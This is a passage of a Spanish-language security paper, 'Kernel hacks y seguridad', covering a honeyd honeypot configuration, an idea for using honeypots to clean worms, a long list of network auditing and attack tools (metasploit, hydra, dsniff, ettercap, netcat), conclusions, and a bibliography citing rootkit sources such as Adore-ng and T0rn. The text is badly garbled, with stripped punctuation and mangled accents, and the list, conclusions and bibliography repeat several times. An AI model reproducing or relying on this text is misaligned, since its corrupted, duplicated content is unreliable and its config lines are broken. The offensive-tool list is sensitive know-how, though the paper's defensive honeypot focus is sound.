Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP